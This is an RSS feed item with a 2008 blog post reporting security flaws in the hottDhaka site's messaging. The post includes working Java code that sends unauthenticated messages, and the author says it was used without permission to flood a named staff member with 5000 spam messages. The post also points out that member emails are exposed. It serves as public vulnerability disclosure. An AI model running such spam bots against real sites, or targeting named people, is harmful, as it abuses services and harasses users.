		<pubDate>Wed, 12 Nov 2008 04:15:22 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[Observations]]></category>
		<category><![CDATA[Bot]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=142</guid>
		<description><![CDATA[My previous post was regarding the creation of fake account due to security leak in hottDhaka. Hopefully hottDhaka fixed it (but haven&#8217;t yet added any Captcha). I also found several other leaks. Now I&#8217;m gonna describe a new one which I found yesterday night. hottDhaka management is worried (so far I&#8217;m concerned) about fake messages [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=142&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>My previous post was regarding the creation of fake account due to security leak in hottDhaka. Hopefully hottDhaka fixed it (but haven&#8217;t yet added any Captcha). I also found several other leaks. Now I&#8217;m gonna describe a new one which I found yesterday night.</p>
<p>hottDhaka management is worried (so far I&#8217;m concerned) about fake messages or spams that come to any persons inbox. One of the causes of this problem may be the leak in the message sending process. The problems are,</p>
<ol>
<li>They don&#8217;t use any Token and no Challenge-Response measures.</li>
<li>The message sending is Cookie independent.</li>
<li>It is user login independent.</li>
<li>It is also Session independent.</li>
<li>It is also HTTP Request and Requests Frequency independent.</li>
<li>The message form is very plainly typed.</li>
<li>They don&#8217;t use any Bayesian filter or other kinda Machine Learning tools.</li>
</ol>
<p>I wrote a headless client (bot) by Java and managed to send 5000 fake messages automatically (without any user interaction) to <strong>Ariba Arusha Huq</strong> (contents executive, hottMedia), her member ID is <strong>22079</strong>. My program looks like the following,</p>
<p><span style="color:#0000ff;">URL url = new URL (&#8220;<strong><span style="color:#0000ff;">http://www.hottdhaka.com/member/mail/sendmessage.php</span></strong>&#8220;);<br />
</span><span style="color:#0000ff;">HttpURLConnection </span><span style="color:#0000ff;">urlConn = (HttpURLConnection) url.openConnection ();<br />
urlConn.setRequestMethod (&#8220;POST&#8221;);<br />
urlConn.setDoInput (true);<br />
urlConn.setDoOutput (true);<br />
urlConn.setUseCaches (false);<br />
urlConn.setAllowUserInteraction (true);<br />
urlConn.setFollowRedirects (true);<br />
urlConn.setInstanceFollowRedirects (true);<br />
urlConn.setRequestProperty (&#8220;Content-Type&#8221;,  &#8220;application/x-www-form-urlencoded&#8221;);<br />
DataOutputStream out = new DataOutputStream (urlConn.getOutputStream ());<br />
String content = &#8220;<span style="color:#ff0000;">uid[]</span>=&#8221; + URLEncoder.encode (&#8220;<strong><span style="color:#0000ff;">22079</span></strong>&#8220;)<br />
+ &#8220;&amp;<span style="color:#ff0000;">title</span>=&#8221; + URLEncoder.encode (&#8220;this is spam, visit http://nadimissimple.wordpress.com/ for solution&#8221;)<br />
+ &#8220;&amp;<span style="color:#ff0000;">text</span>=&#8221; + URLEncoder.encode (&#8220;hi! i&#8217;m nadim. this message is generated by my headless client (bot). hottDhaka security mechanisms are sooooooooooo childish. plz visit my blog http://nadimissimple.wordpress.com/ for solution&#8221;);<br />
out.writeBytes (content);<br />
out.flush ();<br />
out.close ();</span></p>
<p><span style="color:#ff0000;">[red colored stuffs are the parameters in the form, <strong>uid[]</strong> is for a hidden field, <strong>title</strong> is for a textfield, and <strong>text</strong> is for a textarea]</span></p>
<p>Following is a screenshot of the console while my Bot was running,</p>
<div id="attachment_144" class="wp-caption aligncenter" style="width: 508px"><a href="http://nadimissimple.files.wordpress.com/2008/11/shot.gif"><img class="size-full wp-image-144" title="Screenshot of Console while My Bot was Running" src="http://nadimissimple.files.wordpress.com/2008/11/shot.gif?w=498&#038;h=551" alt="Screenshot of Console while My Bot was Running" width="498" height="551" /></a><p class="wp-caption-text">Screenshot of Console while My Bot was Running</p></div>
<p><span style="color:#000000;">I just wrote a Java method for this and called that in a loop for 5000 times <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  . I didn&#8217;t even need to simulate Cookie. I didn&#8217;t also need to login, huh! how funny!. You can send message to other members by changing the ID, so randomly chosen IDs can be used to abuse this message sending feature.</span></p>
<p><span style="color:#000000;">Another leak is, the email address of members are shown in plain-text format in the profile which is prone to web crawling and spam.<br />
</span></p>
<p><span style="color:#000000;">Hope hottDhaka would fix this, best of luck <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
</span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/142/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=142&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2008/11/12/my-headless-client-can-be-a-headache-for-hottdhaka/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/11/shot.gif" medium="image">
			<media:title type="html">Screenshot of Console while My Bot was Running</media:title>
		</media:content>
	</item>
	</channel>
</rss>
